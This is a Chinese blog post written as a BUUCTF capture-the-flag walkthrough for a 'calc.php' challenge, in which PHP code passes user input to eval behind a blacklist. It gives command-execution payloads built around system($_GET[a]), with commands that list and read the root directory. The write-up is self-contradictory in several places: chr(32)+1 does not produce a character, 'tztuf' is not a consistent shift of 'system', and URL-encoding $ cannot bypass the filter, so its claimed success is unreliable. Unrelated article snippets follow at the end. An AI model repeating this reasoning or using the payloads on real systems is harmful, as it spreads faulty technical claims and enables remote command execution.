news 2026/9/11 13:46:39

CTF WEB安全:calc.php代码审计与WAF绕过实战

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CTF WEB安全:calc.php代码审计与WAF绕过实战

1. BUUCTF WEB赛题解析:calc.php挑战实录

最近在BUUCTF平台上刷题时遇到一道名为calc.php的WEB题目,这道题综合考察了代码审计、WAF绕过和字符编码技巧。作为CTF老手,我记录下完整的解题思路和踩坑过程,特别适合刚入门WEB安全的新手参考。

这道题的核心是一个简易计算器页面,表面功能是对用户输入的数字表达式进行运算。但通过查看源码发现,服务端用chr()函数处理了部分输入字符,同时部署了基础的WAF防护。这种题型在CTF中非常典型——表面简单的功能背后往往藏着精心设计的漏洞点。

2. 初始代码审计与功能测试

2.1 页面基础功能分析

访问题目提供的URL后,看到一个极简的计算器界面:输入框+提交按钮。测试基本运算:

  • 输入1+1返回2
  • 输入2*3返回6
  • 输入10/2返回5

看似正常的四则运算功能,但查看网页源码发现关键提示:

<?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^']; foreach ($blacklist as $blackitem) { if (preg_match('/' . $blackitem . '/m', $str)) { die("what are you want to do?"); } } $str = str_replace(chr(32), chr(32)+1, $str); $str = str_replace(chr(33), chr(33)+1, $str); // ...省略类似多行... echo 'result: '.eval("return $str;"); } ?>

2.2 关键安全限制解析

代码中设置了多重防护:

  1. 黑名单过滤:禁止空格、引号、反引号等特殊字符
  2. 字符替换:对ASCII 32-126的可见字符都做了+1替换
  3. 直接eval执行:用户输入最终进入eval函数

这提示我们需要:

  • 绕过黑名单字符限制
  • 处理字符替换的影响
  • 构造无引号的RCE payload

3. WAF绕过技术实战

3.1 黑名单字符替代方案

由于空格被过滤,测试发现可用/**/替代:

?num=1/**/+/**/1 // 返回2

引号被禁,但PHP中字符串可用以下方式表示:

  • $_GET[x]形式获取参数
  • 使用十六进制或八进制编码
  • 通过数学运算生成ASCII字符

3.2 字符替换逆向处理

代码中对每个字符做了+1操作,例如:

$str = str_replace(chr(32), chr(33), $str); // 空格→!

因此我们需要提交的payload中,每个字符需要先-1。例如想传入空格(32),实际应提交!(33)。

3.3 无引号RCE构造

最终目标是执行系统命令,但无法使用引号。可通过以下方式:

  1. 使用反引号执行命令(但被过滤)
  2. 使用system等函数直接执行字符串
  3. 通过数学运算构造字符

经过测试,发现可用$_GET[a]方式传递命令。完整利用链:

  1. 创建额外参数?a=ls
  2. 在num参数中用system($_GET[a])执行

但需要处理字符替换:

  • system需要写作sztvn(每个字母+1)
  • $_GET[a]需要写作%24_GET%5Ba%5D(URL编码避免特殊字符)

4. 完整漏洞利用过程

4.1 分步payload构造

  1. 确定要执行的命令:ls /(列出根目录)
  2. 转换字符:
    • s→t
    • y→z
    • s→t
    • t→u
    • e→f
    • m→n
    • 空格→!
    • $_GET→%24_GET
    • [a]→%5Ba%5D
  3. 最终URL:
?num=tztuf(!%24_GET%5Ba%5D)&a=ls!/
  1. 服务端处理流程:
    • 将tztuf转换回system
    • 将!转换回空格
    • 执行system($_GET[a])

4.2 实际测试结果

提交payload后返回:

result: bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

确认RCE成功,发现flag文件通常在根目录下,继续读取:

?num=tztuf(!%24_GET%5Ba%5D)&a=cat!/flag

成功获取flag内容。

5. 防御方案与CTF经验

5.1 漏洞根源分析

本题漏洞主要由于:

  1. 直接eval用户输入
  2. 字符替换可被逆向
  3. 黑名单过滤不彻底

5.2 安全开发建议

  1. 避免直接eval不可信输入
  2. 使用白名单而非黑名单
  3. 关键操作使用参数化而非字符串拼接

5.3 CTF解题技巧

  1. 遇到字符替换时,先确定替换规则
  2. 黑名单过滤尝试:
    • 不同编码形式(URL/HTML/Unicode)
    • 替代字符(如/**/代替空格)
  3. 无引号RCE常用:
    • $_GET/POST参数
    • 数学运算生成字符
    • 已有变量拼接

这道calc.php题目虽然代码量不大,但完整覆盖了WEB安全的多个核心知识点。在实际渗透测试中,这种基于字符操作和过滤绕过的场景非常常见。通过这类CTF题目的训练,能有效提升真实环境下的漏洞发现和利用能力。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/9/11 13:44:36

Linux下Git实战指南:从快照原理到分支冲突处理

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/11 13:44:13

基于纳什博弈的多微网电热双层共享策略与Matlab实现

1. 项目背景与核心价值在分布式能源系统快速发展的当下&#xff0c;微电网之间的能源共享成为提升整体效率的关键突破口。传统单微网系统往往面临供需不平衡、可再生能源波动性大等问题&#xff0c;而多微网协同运行能够通过资源互补显著提高能源利用率。但这里存在一个根本矛盾…

作者头像 李华
网站建设 2026/9/11 13:43:42

对象存储核心技术解析与应用实践

1. 对象存储系统的基本概念与行业定位对象存储&#xff08;Object Storage&#xff09;作为一种非结构化数据存储范式&#xff0c;已经彻底改变了现代数据存储的格局。与传统的文件系统采用树状目录结构不同&#xff0c;对象存储将数据作为独立对象&#xff08;Object&#xff…

作者头像 李华
网站建设 2026/9/11 13:43:17

双层鲸鱼算法求解非合作博弈的居民负荷分层调度模型

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

作者头像 李华
网站建设 2026/9/11 13:43:01

边缘AI实战:ARM ML-KWS-for-MCU源码评测与MCU关键词识别

ARM生态下的边缘AI开源项目很多&#xff0c;但能一口气把“数据集→训练→模型转换→MCU部署→唤醒检测”整条链路串起来的&#xff0c;ML-KWS-for-MCU算是最经典的一个。这周我花了两天时间把这个仓库从头到尾过了一遍&#xff0c;不是为了跑demo&#xff0c;而是想搞清楚一个…

作者头像 李华